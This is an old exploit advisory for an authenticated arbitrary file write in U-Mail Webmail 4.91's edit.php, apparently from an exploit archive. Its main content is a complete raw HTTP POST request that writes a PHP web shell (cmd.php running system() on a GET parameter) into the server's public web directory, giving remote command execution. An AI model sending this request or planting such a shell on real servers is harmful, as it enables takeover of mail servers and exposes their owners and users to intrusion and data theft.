umail-filewrite.txt

`U-Mail Webmail Arbitrary File Write Vulnerability  
  
==================================================  
  
Vulnerable: U-Mail 4.91   
Vendors: www.comingchina.com   
Category: Input Validation Error  
Impact: An attacker can write arbitrary data to new files.  
Author: Shennan Wang  
Date: 2008-10-30  
Web: http://hi.baidu.com/nansec  
  
  
Details:  
=========   
This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of U-Mail Webmail Server. Authentication is required to exploit this vulnerability.The specific flaw exists in the 'edit.php' file running on the U-Mail Webmail Server. A malicious HTTP POST request can write arbitrary file to the publicly accessible web directories.  
  
  
Exploit:  
=========  
POST /webmail/modules/filesystem/edit.php HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*  
Referer: http://mail.d4rkn3t.cn/webmail/modules/filesystem/edit.php  
Accept-Language: zh-cn  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)  
Host: mail.d4rkn3t.cn  
Content-Length: 120  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: GO_AUTH_SOURCE_KEY=0; LANGUAGE_CK=zh_CN; SCREEN_CK=Default+Style; PHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18  
  
path=/var/www/htdocs/webmail/cmd.php&task=save&name=cmd.php&content=<?system($_GET[cmd]);?>  
  
`